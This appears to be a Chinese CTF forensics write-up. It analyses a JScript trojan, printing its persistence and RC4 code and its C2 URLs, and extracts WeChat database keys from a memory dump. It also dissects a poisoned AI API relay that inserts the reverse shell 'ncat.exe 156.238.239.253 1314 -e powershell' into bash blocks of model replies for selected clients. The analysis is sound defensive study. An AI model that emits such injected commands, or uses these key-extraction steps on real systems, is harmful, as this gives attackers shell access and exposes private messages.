var task = service.NewTask(0);
task.Principal.UserId = username;
task.Principal.LogonType = 6;

var registration = task.RegistrationInfo;
registration.Description = description;
registration.Author = username;

var settings = task.Settings;
settings.Enabled = true;
settings.StartWhenAvailable = true;
settings.Hidden = hidden;

var triggers = task.Triggers;
var trigger = triggers.Create(9);
trigger.StartBoundary = "2015-07-12T11:47:24";
trigger.EndBoundary = "2020-03-21T08:00:00";
trigger.Id = "LogonTriggerId";
trigger.UserId = username;
trigger.Enabled = true;

var action = task.Actions.Create(0);
action.Path = executablePath;
action.Arguments = argumentsText;
action.WorkingDirectory = workingDir;

folder.RegisterTaskDefinition(taskName, task, 6, "", "", 3);
return true;
} catch (e) {
return false;
}
}

function deleteScheduledTask(taskName) {
try {
var service = WScript.CreateObject("Schedule.Service");
service.Connect();

var folder = service.GetFolder(TASK_FOLDER);
var tasks = folder.GetTasks(0);
if (tasks.count >= 0) {
var enumerator = new Enumerator(tasks);
for (; !enumerator.atEnd(); enumerator.moveNext()) {
if (enumerator.item().name === taskName) {
folder.DeleteTask(taskName, 0);
}
}
}
} catch (e) {
return false;
}
}

function cp437StringToBytes(text) {
var bytes = [];

for (var i = 0; i < text.length; i++) {
var charCode = text.charCodeAt(i);
if (charCode >= 128) {
var mapped = CP437_UNICODE_TO_BYTE["" + toHexString(charCode)];
charCode = fromHexString(mapped);
}
bytes.push(charCode);
}

return bytes;
}

function saveLatin1StringToFile(text, path) {
var stream = WScript.CreateObject("ADODB.Stream");
stream.Type = 2;
stream.Charset = "iso-8859-1";
stream.Open();
stream.WriteText(text);
stream.Flush();
stream.Position = 0;
stream.SaveToFile(path, 2);
stream.Close();
}

function resolveInstallDirectory() {
installDir = "c:\\Users\\" + currentUsername + "\\AppData\\Local\\Microsoft\\Windows\\";
if (!fileSystem.FolderExists(installDir)) {
installDir = "c:\\Users\\" + currentUsername + "\\AppData\\Local\\Temp\\";
}
if (!fileSystem.FolderExists(installDir)) {
installDir = "c:\\Documents and Settings\\" + currentUsername + "\\Application Data\\Microsoft\\Windows\\";
}
return installDir;
}

function rc4String(key, data) {
var state = [];
var j = 0;
var tmp;
var output = "";

for (var i = 0; i < 256; i++) {
state[i] = i;
}

for (i = 0; i < 256; i++) {
j = (j + state[i] + key.charCodeAt(i % key.length)) % 256;
tmp = state[i];
state[i] = state[j];
state[j] = tmp;
}

i = 0;
j = 0;
for (var k = 0; k < data.length; k++) {
i = (i + 1) % 256;
j = (j + state[i]) % 256;
tmp = state[i];
state[i] = state[j];
state[j] = tmp;
output += String.fromCharCode(data[k] ^ state[(state[i] + state[j]) % 256]);
}

return output;
}

跟一下即可找到硬编码的key,有引用:
Pasted image 20260419111512

3. 请接上题,释放并删除的文件是什么?

【答案格式:abc.py】

maintools.js

去混淆之前叫OBKHLrC3vEDjVL,截取的代码逻辑在这里:

Kill DroppedFilePath
`DroppedFilePath = TargetFolderPath & "\" & "maintools.js"

4. 请接上题,该文件用的是什么语言?

【答案格式:JavaScript】

JScript

根据上面解出的脚本可以看出是jscript

  • JavaScript:由 Netscape 推出的脚本语言,后来标准化为 ECMAScript
  • JScript:微软对 ECMAScript/JavaScript 的实现名称,主要用于早期 Internet ExplorerWindows Script Host

5. 请接上题,分配给命令行参数的变量叫什么名字?

【答案格式:abc3】

wvy1

stage1这里使用了WScript.Arguments,这个是 Windows Script Host 提供的命令行参数集合
WScript.Arguments 拿到脚本启动时传进来的所有参数, wvy1(0) 取第 1 个参数(这个参数后续用于了解密)

try{var wvy1 = WScript.Arguments;var ssWZ = wvy1(0);var ES3c = y3zb();ES3c = LXv5(ES3c);ES3c = CpPT(ssWZ,ES3c);eval(ES3c);  
}catch (e)

6. 请接上题,哪个函数返回下一阶段代码(即第一轮混淆代码)?

【答案格式:abc3】

y3zb

看stage1这里,最后用调用了y3zb函数,传入加密的qGxZ变量
Pasted image 20260419111851
Pasted image 20260419111841

7. 请接上题,可以使用哪个Windows脚本主机程序在命令行模式下执行该脚本?

【答案格式:wscript.exe】

cscript

命令行模式下执行 Windows Script Host 脚本用的是 cscript.exe,wscript.exe是图像方式。

8. 请接上题,请提取出所有硬编码的C2(Command & Control)服务器域名?

【答案格式:www.baidu.com、www.gogle.com,按照在代码中出现的顺序排序】

http://www.saipadiesel124.com/wp-content/plugins/imsanity/tmp.php、http://www.folk-cantabria.com/wp-content/plugins/wp-statistics/includes/classes/gallery_create_page_field.php

Pasted image 20260419110913

9. 请接上题,当C2服务器返回“work”指令时,脚本下载并执行的最终文件扩展名是什么?

【答案格式:exe】

plf

Pasted image 20260419111007
跟进downloadandexecute函数:
Pasted image 20260419111246
所以是pif

10. 请接上题,如果与C2通信失败,脚本会调用哪个函数尝试自毁并清理痕迹?

【答案格式:Aabc】

tbMu

还是刚刚的这个判断逻辑这里
Pasted image 20260419112332
去混淆之前叫tbMu()
Pasted image 20260419112252

内存取证

简单的内存取证,lovelymem都可以做,我写一下用vol手搓的过程:

1. 请分析倩倩的PC内存镜像,识别当前正在运行且持有微信数据库解密密钥的微信进程,并提取该进程的进程标识符(PID)?

(答案格式:1234)

10892

先看一下windows.info:
Pasted image 20260419003606

pslist看weixin.exe相关的进程:

10892	6736	Weixin.exe	0x900a5ae0b080	115	-	1	False	2026-04-03 01:45:09.000000 UTC	N/A	Disabled
2444 10892 Weixin.exe 0x900a56cd8080 14 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled
10544 11532 WeChatAppEx.ex 0x900a4e1bf340 21 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled
16996 10892 Weixin.exe 0x900a572d50c0 19 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled
10880 10892 Weixin.exe 0x900a5bb1c340 10 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled
3944 10892 Weixin.exe 0x900a77441300 15 - 1 False 2026-04-03 01:47:17.000000 UTC N/A Disabled

最高的一个pid是10892

2. 请分析倩倩的PC内存镜像,请尝试解密微信数据库并写出message_0.db对应的微信密钥?

b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa

首先我们先确定微信的版本,在微信3.x及以前主进程叫 WeChat.exe,在4之后,主进程改名变成 Weixin.exe,所以这里根据进程名确定是4.x的版本

可以在github上找到对应的加密算法:
微信4.0相关加密原理

接下来我们从weixin.exe的minidump中提取微信密钥
先dump完整进程:

vol -f DESKTOP-3943OKD-20260403-014746.dmp windows.memmap --pid 10892 --dump

Pasted image 20260419004901

前面说缓存的raw key有固定的格式,那么我们从minidump中使用正则匹配一下,re.compile(rb"[xX]'([a-fA-F0-9]{64})([a-fA-F0-9]{32})'")
写个脚本提取所有符合条件的:

import mmap
import os
import re
from typing import List, Set, Tuple

DUMP_FILE = "pid.10892.dmp"
KEY_PATTERN = re.compile(rb"[xX]'([a-fA-F0-9]{64})([a-fA-F0-9]{32})'")


def dump_file_exists(path: str) -> bool:
return os.path.isfile(path)


def extract_key_pairs(path: str) -> List[Tuple[str, str]]:
unique_pairs: List[Tuple[str, str]] = []
seen_pairs: Set[Tuple[str, str]] = set()

with open(path, "rb") as file_obj:
with mmap.mmap(file_obj.fileno(), length=0, access=mmap.ACCESS_READ) as memory_map:
for match in KEY_PATTERN.finditer(memory_map):
raw_key = match.group(1).decode("ascii").lower()
salt = match.group(2).decode("ascii").lower()
pair = (raw_key, salt)

if pair in seen_pairs:
continue

seen_pairs.add(pair)
unique_pairs.append(pair)

return unique_pairs


def render_results(results: List[Tuple[str, str]]) -> None:
if not results:
print("[-] No matching 96-byte key pattern was found.")
return

print(f"[+] Found {len(results)} unique key pair(s).\n")
print(f"{'No.':<4} | {'Derived Raw Key (64 Hex)':<64} | {'Salt (32 Hex)':<32}")
print("-" * 110)

for index, (raw_key, salt) in enumerate(results, start=1):
print(f"{index:02d} | {raw_key} | {salt}")


def main() -> None:
if not dump_file_exists(DUMP_FILE):
print(f"[-] Dump file not found: {DUMP_FILE}")
return

results = extract_key_pairs(DUMP_FILE)
render_results(results)


if __name__ == "__main__":
main()

Pasted image 20260419005413

接下来我们再去把message_0.db数据库拿出来:
地址是0x900a6ae88140
Pasted image 20260419010126

vol -o E:\Admin\Desktop\mem -f mem.dmp windows.dumpfiles --virtaddr 0x900a6ae88140

每个数据库的开头,会记录加密的salt,这个和前面我们提取出来的对比一下,发现是第二个key
Pasted image 20260419010410
至此,我们已经拿到了这个db的密码,接下来根据加密逻辑把它还原即可

这里的解密脚本参考了yolo师傅的思路:

import os
from Crypto.Cipher import AES

DATABASE_FILE = "message_0.db"
DECRYPTED_FILE = "message_0_decrypted.db"

PAGE_SIZE = 4096
RESERVED_BYTES = 80
IV_SIZE = 16

RAW_KEY_HEX = "b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa"
SQLITE_HEADER = b"SQLite format 3\x00"
WCDB_FINGERPRINT = b"\x40\x20\x20"


def decrypt_page(encrypted_page: bytes, is_first_page: bool, key: bytes) -> bytes:
iv_offset = PAGE_SIZE - RESERVED_BYTES
iv = encrypted_page[iv_offset:iv_offset + IV_SIZE]

if is_first_page:
encrypted_content = encrypted_page[16:iv_offset]
else:
encrypted_content = encrypted_page[0:iv_offset]

cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.decrypt(encrypted_content)


def validate_first_page(decrypted_data: bytes) -> bool:
return decrypted_data[5:8] == WCDB_FINGERPRINT


def write_first_page(output_file, decrypted_data: bytes) -> None:
output_file.write(SQLITE_HEADER + decrypted_data + b"\x00" * RESERVED_BYTES)


def write_regular_page(output_file, decrypted_data: bytes) -> None:
output_file.write(decrypted_data + b"\x00" * RESERVED_BYTES)


def decrypt_wcdb_database(
input_path: str = DATABASE_FILE,
output_path: str = DECRYPTED_FILE,
raw_key_hex: str = RAW_KEY_HEX,
) -> None:
if not os.path.exists(input_path):
print(f"Error: file not found: {input_path}")
return

key = bytes.fromhex(raw_key_hex)
page_count = 0

with open(input_path, "rb") as source, open(output_path, "wb") as target:
print(f"Starting decryption: {input_path}")

first_page = source.read(PAGE_SIZE)
if not first_page:
print("Error: input file is empty.")
return

decrypted_first_page = decrypt_page(first_page, is_first_page=True, key=key)

if not validate_first_page(decrypted_first_page):
print("Fingerprint verification failed.")
return

print("Fingerprint verified. Decrypting entire database...")
write_first_page(target, decrypted_first_page)
page_count += 1

while True:
page = source.read(PAGE_SIZE)
if not page:
break

decrypted_page = decrypt_page(page, is_first_page=False, key=key)
write_regular_page(target, decrypted_page)
page_count += 1

print(f"\nDecryption completed successfully. Processed {page_count} pages.")
print(f"Output saved to: {output_path}")


if __name__ == "__main__":
decrypt_wcdb_database()

我们写脚本的时候需要这样处理

  • 读取4096字节:这是微信数据库的table’页’大小,每次解密处理需要先分页面
  • 确定IV:在每一页的最后80个字节里,前16个字节是IV(初始化向量),至于剩余部分,就是HMAC哈希校验,不用处理
  • 提取密文:将每一页的最前面16字节(我们比对key时候见到的那个salt),还有最后面的80字节删除,剩余部分就是密文内容
  • 调用AES解密工具,需要用到的key和IV我们都拿到了
  • 修复第一页:数据库的第一页相对来说比较特殊,解密后前面是空的,需要我们手动将SQLite的魔数头补充上

成功解密
Pasted image 20260419010909
所以对应的密钥是:b0fb4730d908c07d3e928b5c418a7470bd954d100c9607821e0c05051c4588aa

3. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的进程标识符(PID)

(答案格式:1233)

7348

根据前面的取证结果,可以知道木马的名字是Haimuniu_VPN_C:
Pasted image 20260419004042

4. 请分析倩倩的PC内存镜像,请找到正在运行的木马进程的创建时间(UTC)?

(答案格式:2026-01-01 01:11:11)

2026-04-03 01:46:44

同上题,pslist里面可以看见

5. 请分析倩倩的PC内存镜像,结合木马分析找出内存中回连的C2木马服务器的真实ip?

(答案格式:127.0.0.1:8080)

156.238.239.253:7000

windows.netstat
Pasted image 20260419004334

服务器取证

1. 分析服务器镜像,内核版本为?

【答案格式:5.10-301-generic】

6.8.0-107-generic

Pasted image 20260418233450

2. 分析服务器镜像,用户登录成功系统的次数为?

【答案格式:3】

10

火眼直接解析出来9个,仿真起来用last看:
Pasted image 20260418200437
实际上是少了第一条记录,从14:40-crash的记录,火眼没有把这一条崩溃的记录解析进去。

3. 分析服务器镜像, redis数据库服务密码是多少?

【答案格式: abcdef】

zjjcxy

/home/zaoqiwang/claude-relay-service/.env里面可以看到
Pasted image 20260418201304

4. 分析服务器镜像, api站点后台管理员密码所用的加密算法为?

【答案格式: bcrypt】

argon2

把/home下面的源码拿来分析一下逻辑,找加密的位置,还有注释,也是很明显:
Pasted image 20260418201651

5. 分析服务器镜像, api站点后台管理员密码为(使用rockyou字典爆破,密码格式b1?????b,?为数字)?

【答案格式: a123456a】

b123321b

跟一下后续的逻辑,发现是储存在data里面了
Pasted image 20260418201832
在data里面找到管理员hash:
Pasted image 20260418201927
结合题意爆破即可:b123321b

6. 分析服务器镜像,登录api网站后台,后台通知设置里的超时事件(毫秒)为?

【答案格式:10000】

114514

接下来尝试重构网站,机器上没有docker,那应该是源码用npm启动的(可以从entrypoint.sh和package.json看出) 题解说机器上有npm,然而我做的时候并没有。。。

apt自己装一下npm和nodejs,然后node src/app.js启动,登录后台http://192.168.5.162:3000/admin-next/login
Pasted image 20260418204302
Pasted image 20260418204403

7. 分析服务器镜像,登录api网站后台,查询总Token消耗数量为?

【答案格式:999.9K】

474.2K

重构好了就很简单了:
Pasted image 20260418222835

8. 分析服务器镜像,登录api网站后台,查询最早创建apikey的时间为?

【答案格式:2026-01-01T13:11:22.190Z】

2026-04-01T11:11:07.535Z

重构起来没有,那就考虑去看日志,claude-relay-service\logs\service.log
找到apikey相关的接口:

GET /admin/api-keys?page=1&pageSize=10&searchMode=apiKey&sortBy=createdAt&sortOrder=desc&timeRange=today  7ms 0B

里面和时间有关的是createdAt参数,意思很明显就是创建时间,我们爆搜这个字段
最早的是这个时间:2026-04-01T11:11:07.535Z
Pasted image 20260418223444

9. 分析服务器镜像,编写脚本,通过调用inject_bash_blocks函数,确定恶意投毒的payload。

(提示:输入一段包含 bash 块的文本)【答案格式:a.exe 192.168.1.122-i hello】

ncat.exe 156.238.239.253 1314 -e powershell

这个我觉得很有意思,结合了目前api中转及中转投毒的热点,是一个值得学习和防范的东西。

wasm是WebAssembly的缩写,可以用C/C++或者Rust编译而来。先找到这个wasm产物:
Pasted image 20260418224323

仔细看一下这个同目录下的js,主要负责了.wasm文件的加载,并把js的数据进行处理传递给.wasm,在这里可以看出来:
Pasted image 20260418230522
题目说的函数在这里实现,根据题意写个脚本调用一下这个函数,有点像黑盒测试的意思
Pasted image 20260418224638

const wasm = require('./bash_block_injector.js')
const input = '```bash\necho hello\n```'
const output = wasm.inject_bash_blocks(input)

console.log('输入:')
console.log(input)
console.log('\n输出:')
console.log(output)
console.log('\n差异(注入内容):')
const inputLines = input.split('\n')
const outputLines = output.split('\n')
for (const line of outputLines) {
if (!inputLines.includes(line)) {
console.log(' > ' + line)
}
}

Pasted image 20260418232143
这样子就实现了在ai的输出中注入一个nc命令来投毒。

10. 接上题,should_inject_for_ua(ua,ip)对UA字符串有过滤条件,只有特定UA才会进入后续判断。请编写脚本找出有几个UA头能使函数有机会返回true的UA关键词。

【答案格式:1】【提示:备选项: cur1、openclaw、mozilla、wget、httpx、claude、requests、bot、crawler】

2

接上题,很明显,should_inject_for_ua(ua,ip)这个函数的作用是判断那些ua参数要进行注入,写脚本的思路也很清晰,每个ua都试一下,看看会不会有注入即可。

const path = require('path')

const mod = require(path.join(__dirname, 'pkg', 'bash_block_injector.js'))

const candidates = ['cur1', 'openclaw', 'mozilla', 'wget', 'httpx', 'claude', 'requests', 'bot', 'crawler']

const ips = []
for (let a = 1; a <= 50; a++) {
for (let b = 1; b <= 50; b++) {
ips.push(`${a}.${b}.7.1`)
}
}

function hitKeyword(keyword) {
const uas = [
keyword,
`${keyword}/1.0`,
`Mozilla/5.0 ${keyword}`
]

for (const ua of uas) {
for (const ip of ips) {
if (mod.should_inject_for_ua(ua, ip)) {
return { ua, ip }
}
}
}

return null
}

const matched = []

for (const keyword of candidates) {
const hit = hitKeyword(keyword)
if (hit) {
matched.push(keyword)
console.log(`${keyword}: true via UA="${hit.ua}", IP=${hit.ip}`)
} else {
console.log(`${keyword}: false`)
}
}

console.log(`COUNT=${matched.length}`)
console.log(`MATCHED=${matched.join(',')}`)

Pasted image 20260418232828
所以是2个

11. 接上题,只有当同一IP的上次请求距今足够近时,才会进入概率判断。请编写脚本确定这个时间窗口的阈值(单位: ms)。

【答案格式:100,注意,只保留整百的,四舍五入】【提示:必须控制变量,每次实验使用一批全新的IP,先统一记录时间戳,再等待固定间隔后统一检测,不可在等待期间更新同一IP的时间戳,否则会刷新计时,从0ms到1000ms逐步探测,找到从“命中”变为“不命中”的临界间隔,建议每个间隔值使用≥200个IP以消除概率干扰。】

500ms

剩下这两题就比较迷,不知道在考什么,考程序设计吗?跟我gpt说去吧。

const path = require('path')

const mod = require(path.join(__dirname, 'pkg', 'bash_block_injector.js'))

const UA = 'claude-cli/1.0'
const BATCH_SIZE = 1000
const DELAYS = [0, 100, 200, 300, 400, 450, 480, 490, 500, 510, 520, 600, 700, 800, 900, 1000]

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))

function makeIps(batchId, count) {
const ips = []
for (let i = 0; i < count; i++) {
const a = ((batchId * 17) % 200) + 1
const b = ((batchId * 31) % 200) + 1
const c = (Math.floor(i / 250) % 200) + 1
const d = (i % 250) + 1
ips.push(`${a}.${b}.${c}.${d}`)
}
return ips
}

async function runDelay(delay, batchId) {
const ips = makeIps(batchId, BATCH_SIZE)

for (const ip of ips) mod.should_inject_for_ua(UA, ip)

await sleep(delay)

let hits = 0
for (const ip of ips) {
if (mod.should_inject_for_ua(UA, ip)) hits++
}

return { delay, hits, total: ips.length, ratio: hits / ips.length }
}

async function main() {
const results = []

for (let i = 0; i < DELAYS.length; i++) {
const result = await runDelay(DELAYS[i], i + 1)
results.push(result)
console.log(`delay=${result.delay}ms hits=${result.hits}/${result.total} ratio=${result.ratio.toFixed(4)}`)
}

const lastHit = [...results].reverse().find(r => r.hits > 0)
const firstZeroAfterHit = results.find(r => lastHit && r.delay > lastHit.delay && r.hits === 0)

if (lastHit) console.log(`LAST_HIT_DELAY=${lastHit.delay}`)
if (firstZeroAfterHit) console.log(`FIRST_ZERO_AFTER_HIT=${firstZeroAfterHit.delay}`)

const thresholdGuess = firstZeroAfterHit ? firstZeroAfterHit.delay : (lastHit ? lastHit.delay : 0)
console.log(`ROUNDED_THRESHOLD=${Math.round(thresholdGuess / 100) * 100}`)
}

main().catch(err => {
console.error(err)
process.exit(1)
})

12. 接上题,在UA条件和IP时间条件均满足的前提下,函数仍有一定概率返回false。请编写脚本估算触发概率,并推算概率1/N(即理论上平均每N次满足前两个条件的调用才触发一次】。

【答案格式:10,格式只保留整十】【提示:建议样本量不少于10000次有效检测(UA条件满足+IP时间条件满足),不然四舍五入会出现进位问题。】

50

const path = require('path')

const mod = require(path.join(__dirname, 'pkg', 'bash_block_injector.js'))

const UA = 'claude-cli/1.0'
const DELAY_MS = 100
const SAMPLE_SIZE = 20000

const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))

function makeIps(count) {
const ips = []
for (let i = 0; i < count; i++) {
const a = (Math.floor(i / 40000) % 200) + 1
const b = (Math.floor(i / 200) % 200) + 1
const c = (Math.floor(i / 250) % 200) + 1
const d = (i % 250) + 1
ips.push(`${a}.${b}.${c}.${d}`)
}
return ips
}

async function main() {
const ips = makeIps(SAMPLE_SIZE)

for (const ip of ips) mod.should_inject_for_ua(UA, ip)

await sleep(DELAY_MS)

let hits = 0
for (const ip of ips) {
if (mod.should_inject_for_ua(UA, ip)) hits++
}

const probability = hits / SAMPLE_SIZE
const averageN = hits > 0 ? SAMPLE_SIZE / hits : Infinity

console.log(`UA=${UA}`)
console.log(`DELAY_MS=${DELAY_MS}`)
console.log(`HITS=${hits}`)
console.log(`TOTAL=${SAMPLE_SIZE}`)
console.log(`PROBABILITY=${probability}`)
console.log(`AVERAGE_N=${averageN}`)
console.log(`ROUNDED_N=${Math.round(averageN / 10) * 10}`)
}

main().catch(err => {
console.error(err)
process.exit(1)
})

文章作者: Xiaohao

文章链接: https://blog.enxiaohao.cn/posts/Forensics/2026phbgroupwp/

版权声明:除另有声明外,本博客文章均采用 CC BY-NC-SA 4.0 许可协议。转载请注明原作者与文章出处。

原理向:域渗透的一些知识学习总结 «
上一篇 «
» Maze-sec打靶记录
» 下一篇